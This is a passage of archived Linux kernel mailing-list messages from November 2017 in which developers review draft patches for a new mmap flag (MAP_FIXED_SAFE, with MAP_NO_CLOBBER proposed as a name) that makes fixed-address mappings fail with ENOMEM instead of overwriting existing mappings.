	for glkn-linux-next@m.gmane.org; Tue, 14 Nov 2017 08:07:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752510AbdKNHH6 (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Tue, 14 Nov 2017 02:07:58 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:57748 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752583AbdKNHH4 (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Tue, 14 Nov 2017 02:07:56 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 3AA358130F;
        Tue, 14 Nov 2017 07:07:53 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <c52fa249-9583-18a2-cbac-28abfb23d5a5@oracle.com>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:44283 gmane.linux.kernel:2616281 gmane.linux.ports.arm.kernel:613993 gmane.linux.ports.ppc64.devel:150217 gmane.linux.ports.mips.general:62134 gmane.linux.ports.parisc:27986 gmane.linux.ports.sh.devel:55879 gmane.linux.ports.sparc:26866
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/44283>

On Mon 13-11-17 09:35:22, Khalid Aziz wrote:
> On 11/13/2017 09:06 AM, Michal Hocko wrote:
> > OK, so this one should take care of the backward compatibility while
> > still not touching the arch code
> > ---
> > commit 39ff9bf8597e79a032da0954aea1f0d77d137765
> > Author: Michal Hocko <mhocko@suse.com>
> > Date:   Mon Nov 13 17:06:24 2017 +0100
> > 
> >      mm: introduce MAP_FIXED_SAFE
> >      MAP_FIXED is used quite often but it is inherently dangerous because it
> >      unmaps an existing mapping covered by the requested range. While this
> >      might be might be really desidered behavior in many cases there are
> >      others which would rather see a failure than a silent memory corruption.
> >      Introduce a new MAP_FIXED_SAFE flag for mmap to achive this behavior.
> >      It is a MAP_FIXED extension with a single exception that it fails with
> >      ENOMEM if the requested address is already covered by an existing
> >      mapping. We still do rely on get_unmaped_area to handle all the arch
> >      specific MAP_FIXED treatment and check for a conflicting vma after it
> >      returns.
> >      Signed-off-by: Michal Hocko <mhocko@suse.com>
> > 
> > ...... deleted .......
> > diff --git a/mm/mmap.c b/mm/mmap.c
> > index 680506faceae..aad8d37f0205 100644
> > --- a/mm/mmap.c
> > +++ b/mm/mmap.c
> > @@ -1358,6 +1358,10 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> >   	if (mm->map_count > sysctl_max_map_count)
> >   		return -ENOMEM;
> > +	/* force arch specific MAP_FIXED handling in get_unmapped_area */
> > +	if (flags & MAP_FIXED_SAFE)
> > +		flags |= MAP_FIXED;
> > +
> >   	/* Obtain the address to map to. we verify (or select) it and ensure
> >   	 * that it represents a valid section of the address space.
> >   	 */
> 
> Do you need to move this code above:
> 
>         if (!(flags & MAP_FIXED))
>                 addr = round_hint_to_min(addr);
> 
>         /* Careful about overflows.. */
>         len = PAGE_ALIGN(len);
>         if (!len)
>                 return -ENOMEM;
> 
> Not doing that might mean the hint address will end up being rounded for
> MAP_FIXED_SAFE which would change the behavior from MAP_FIXED.

Yes, I will move it.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 19:54:59 +1100
Lines: 69
Approved: news@gmane.org
Message-ID: <87h8txw87w.fsf@concordia.ellerman.id.au>
References: <20171107162217.382cd754@canb.auug.org.au> <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com> <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz> <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz> <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com> <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz> <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz> <87lgjawgx1.fsf@concordia.ellerman.id.au> <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1510649709 1526 195.159.176.226 (14 Nov 2017 08:55:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 08:55:09 +0000 (UTC)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Nov 14 09:55:02 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eEWzh-0007gF-J6
	for glps-linuxsh-dev@m.gmane.org; Tue, 14 Nov 2017 09:54:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753878AbdKNIzE (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Tue, 14 Nov 2017 03:55:04 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:56509 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752799AbdKNIzD (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Tue, 14 Nov 2017 03:55:03 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3ybhCm48X0z9sPr;
        Tue, 14 Nov 2017 19:55:00 +1100 (AEDT)
In-Reply-To: <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55880 gmane.linux.kernel.next:44285 gmane.linux.kernel:2616334 gmane.linux.ports.arm.kernel:614010 gmane.linux.ports.ppc64.devel:150218 gmane.linux.ports.mips.general:62135 gmane.linux.ports.parisc:27987 gmane.linux.ports.sparc:26867
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55880>

Michal Hocko <mhocko@kernel.org> writes:

> On Mon 13-11-17 22:34:50, Michael Ellerman wrote:
>> Hi Michal,
>> 
>> Michal Hocko <mhocko@kernel.org> writes:
>> > On Mon 13-11-17 10:20:06, Michal Hocko wrote:
>> >> [Cc arm and ppc maintainers]
>> >
>> > Hmm, it turned out to be a problem on other architectures as well.
>> > CCing more maintainers. For your reference, we are talking about
>> > http://lkml.kernel.org/r/20171023082608.6167-1-mhocko@kernel.org
>> > which has broken architectures which do apply aligning on the mmap
>> > address hint without MAP_FIXED applied. See below my proposed way
>> > around this issue because I belive that the above patch is quite
>> > valuable on its own to be dropped for all archs.
>> 
>> I don't really like your solution sorry :)  The fact that you've had to
>> patch seven arches seems like a red flag.
>> 
>> I think this is a generic problem with MAP_FIXED, which I've heard
>> userspace folks complain about in the past.
>
> The thing is that we canno  change MAP_FIXED behavior as it is carved in
> stone

Yes obviously. I didn't mean to imply we would change MAP_FIXED, rather
we would add a new flag with the new semantics.

>> Currently MAP_FIXED does two things:
>>   1. makes addr not a hint but the required address
>>   2. blasts any existing mapping
>> 
>> You want 1) but not 2).
>
> + fail if there is a clashing range

Yep. I thought that was implied :)

>> So the right solution IMHO would be to add a new mmap flag to request
>> that behaviour, ie. a fixed address but iff there is nothing already
>> mapped there.
>> 
>> I don't know the mm code well enough to know if that's hard for some
>> reason, but it *seems* like it should be doable.
>
> Yes, I have mentioned that in the previous email but the amount of code
> would be even larger. Basically every arch which reimplements
> arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> do vma lookup.

I'd have to look, but my memory of the arch code is that it doesn't deal
with the vma so it wouldn't need any change.

> So this was the most simple solution I could come up
> with. If there was a general interest for MAP_FIXED_SAFE then we can
> introduce it later of course. I would just like the hardening merged
> sooner rather than later.

Sure. But in the scheme of things one more kernel release is not that
big a deal to get it right. Given that the simple approach of dropping
MAP_FIXED turns out to not be simple at all.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 20:02:09 +1100
Lines: 59
Approved: news@gmane.org
Message-ID: <87efp1w7vy.fsf@concordia.ellerman.id.au>
References: <20171107162217.382cd754@canb.auug.org.au> <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com> <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz> <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz> <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com> <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz> <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz> <87lgjawgx1.fsf@concordia.ellerman.id.au> <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz> <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1510650142 22223 195.159.176.226 (14 Nov 2017 09:02:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 09:02:22 +0000 (UTC)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 14 10:02:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEX6e-0001Cg-LT
	for glpp-linux-parisc@m.gmane.org; Tue, 14 Nov 2017 10:02:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752319AbdKNJCP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 14 Nov 2017 04:02:15 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:38161 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752067AbdKNJCN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 14 Nov 2017 04:02:13 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3ybhN232lMz9sPs;
        Tue, 14 Nov 2017 20:02:10 +1100 (AEDT)
In-Reply-To: <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27988 gmane.linux.kernel.next:44288 gmane.linux.kernel:2616338 gmane.linux.ports.arm.kernel:614012 gmane.linux.ports.ppc64.devel:150219 gmane.linux.ports.mips.general:62136 gmane.linux.ports.sh.devel:55881 gmane.linux.ports.sparc:26868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27988>

Michal Hocko <mhocko@kernel.org> writes:

> On Mon 13-11-17 13:00:57, Michal Hocko wrote:
> [...]
>> Yes, I have mentioned that in the previous email but the amount of code
>> would be even larger. Basically every arch which reimplements
>> arch_get_unmapped_area would have to special case new MAP_FIXED flag to
>> do vma lookup.
>
> It turned out that this might be much more easier than I thought after
> all. It seems we can really handle that in the common code.

Ah nice. I should have read this before replying to your previous mail.

> This would mean that we are exposing a new functionality to the userspace though.
> Myabe this would be useful on its own though.

Yes I think it would. At least jemalloc seems like it could use it:

  https://github.com/jemalloc/jemalloc/blob/9f455e2786685b443201c33119765c8093461174/src/pages.c#L65

And I have memories of some JIT code I read once which did a loop of
mmap()s or something to try and get allocations below 4GB or some other
limit - but I can't remember now what it was.

> Just a quick draft (not
> even compile tested) whether this makes sense in general. I would be
> worried about unexpected behavior when somebody set other bit without a
> good reason and we might fail with ENOMEM for such a call now.
>
> Elf loader would then use MAP_FIXED_SAFE rather than MAP_FIXED.
> ---
> diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
> index 3b26cc62dadb..d021c21f9b01 100644
> --- a/arch/alpha/include/uapi/asm/mman.h
> +++ b/arch/alpha/include/uapi/asm/mman.h
> @@ -31,6 +31,9 @@
>  #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
>  
> +#define MAP_KEEP_MAPPING 0x2000000
> +#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */


So bike-shedding a bit, but I think "SAFE" is too vague a name.

Perhaps MAP_NO_CLOBBER - which has the single semantic of "do not
clobber any existing mappings".

It would be a flag on its own, so you could pass it with or without
MAP_FIXED, but it would only change the behaviour when MAP_FIXED is
specified also.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 10:04:44 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20171114090444.lhrkuywuls26g6lu@dhcp22.suse.cz>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <87h8txw87w.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510650296 18634 195.159.176.226 (14 Nov 2017 09:04:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 09:04:56 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-next-owner@vger.kernel.org Tue Nov 14 10:04:47 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1eEX9C-0005Wr-2z
	for glkn-linux-next@m.gmane.org; Tue, 14 Nov 2017 10:04:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752867AbdKNJEw (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Tue, 14 Nov 2017 04:04:52 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:42253 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752799AbdKNJEs (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Tue, 14 Nov 2017 04:04:48 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 570CBAAB5;
        Tue, 14 Nov 2017 09:04:46 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <87h8txw87w.fsf@concordia.ellerman.id.au>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:44289 gmane.linux.kernel:2616339 gmane.linux.ports.arm.kernel:614013 gmane.linux.ports.ppc64.devel:150220 gmane.linux.ports.mips.general:62137 gmane.linux.ports.parisc:27989 gmane.linux.ports.sh.devel:55882 gmane.linux.ports.sparc:26869
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/44289>

On Tue 14-11-17 19:54:59, Michael Ellerman wrote:
> Michal Hocko <mhocko@kernel.org> writes:
[...]
> > So this was the most simple solution I could come up
> > with. If there was a general interest for MAP_FIXED_SAFE then we can
> > introduce it later of course. I would just like the hardening merged
> > sooner rather than later.
> 
> Sure. But in the scheme of things one more kernel release is not that
> big a deal to get it right. Given that the simple approach of dropping
> MAP_FIXED turns out to not be simple at all.

Well, my idea was to push this hardening to older kernels because those
were more vulnerable for the PIE base vs. stack placement and stack
controllable size from userspace etc... Anyway, as per [1] it seems that
the MAP_FIXED_SAFE doesn't look terrible from the backporting POV.

If there is a general consensus that this is the preferred way to go, I
will post the patch as an RFC to linux-api

[1] http://lkml.kernel.org/r/20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 20:18:04 +1100
Lines: 59
Approved: news@gmane.org
Message-ID: <87a7zpw75f.fsf@concordia.ellerman.id.au>
References: <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com> <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz> <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz> <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com> <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz> <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz> <87lgjawgx1.fsf@concordia.ellerman.id.au> <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz> <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz> <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz> <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1510651094 14863 195.159.176.226 (14 Nov 2017 09:18:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 09:18:14 +0000 (UTC)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Nov 14 10:18:03 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eEXM2-0000Tv-Kz
	for glps-linuxsh-dev@m.gmane.org; Tue, 14 Nov 2017 10:18:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752952AbdKNJSK (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Tue, 14 Nov 2017 04:18:10 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:46507 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751466AbdKNJSH (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Tue, 14 Nov 2017 04:18:07 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3ybhkP27Vkz9s9Y;
        Tue, 14 Nov 2017 20:18:05 +1100 (AEDT)
In-Reply-To: <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55883 gmane.linux.kernel.next:44290 gmane.linux.kernel:2616346 gmane.linux.ports.arm.kernel:614015 gmane.linux.ports.ppc64.devel:150221 gmane.linux.ports.mips.general:62138 gmane.linux.ports.parisc:27990 gmane.linux.ports.sparc:26870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55883>

Michal Hocko <mhocko@kernel.org> writes:

> [Sorry for spamming, this one is the last attempt hopefully]
>
> On Mon 13-11-17 16:49:39, Michal Hocko wrote:
>> On Mon 13-11-17 16:16:41, Michal Hocko wrote:
>> > On Mon 13-11-17 13:00:57, Michal Hocko wrote:
>> > [...]
>> > > Yes, I have mentioned that in the previous email but the amount of code
>> > > would be even larger. Basically every arch which reimplements
>> > > arch_get_unmapped_area would have to special case new MAP_FIXED flag to
>> > > do vma lookup.
>> > 
>> > It turned out that this might be much more easier than I thought after
>> > all. It seems we can really handle that in the common code. This would
>> > mean that we are exposing a new functionality to the userspace though.
>> > Myabe this would be useful on its own though. Just a quick draft (not
>> > even compile tested) whether this makes sense in general. I would be
>> > worried about unexpected behavior when somebody set other bit without a
>> > good reason and we might fail with ENOMEM for such a call now.
>> 
>> Hmm, the bigger problem would be the backward compatibility actually. We
>> would get silent corruptions which is exactly what the flag is trying
>> fix. mmap flags handling really sucks. So I guess we would have to make
>> the flag internal only :/
>
> OK, so this one should take care of the backward compatibility while
> still not touching the arch code

I'm not sure I understand your worries about backward compatibility?

If we add a new mmap flag which is currently unused then what is the
problem? Are you worried about user code that accidentally passes that
flag already?

> diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
> index 203268f9231e..03c518777f83 100644
> --- a/include/uapi/asm-generic/mman-common.h
> +++ b/include/uapi/asm-generic/mman-common.h
> @@ -25,6 +25,8 @@
>  # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
>  #endif
>  
> +#define MAP_FIXED_SAFE 0x2000000	/* MAP_FIXED which doesn't unmap underlying mapping */
> +

As I said in my other mail I think this should be a modifier to
MAP_FIXED. That way all the existing code that checks for MAP_FIXED (in
the kernel) works exactly as it currently does - like the check Khalid
pointed out.

And I think MAP_NO_CLOBBER would be a better name.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 10:29:16 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20171114092916.ho5mvwc23xnelmod@dhcp22.suse.cz>
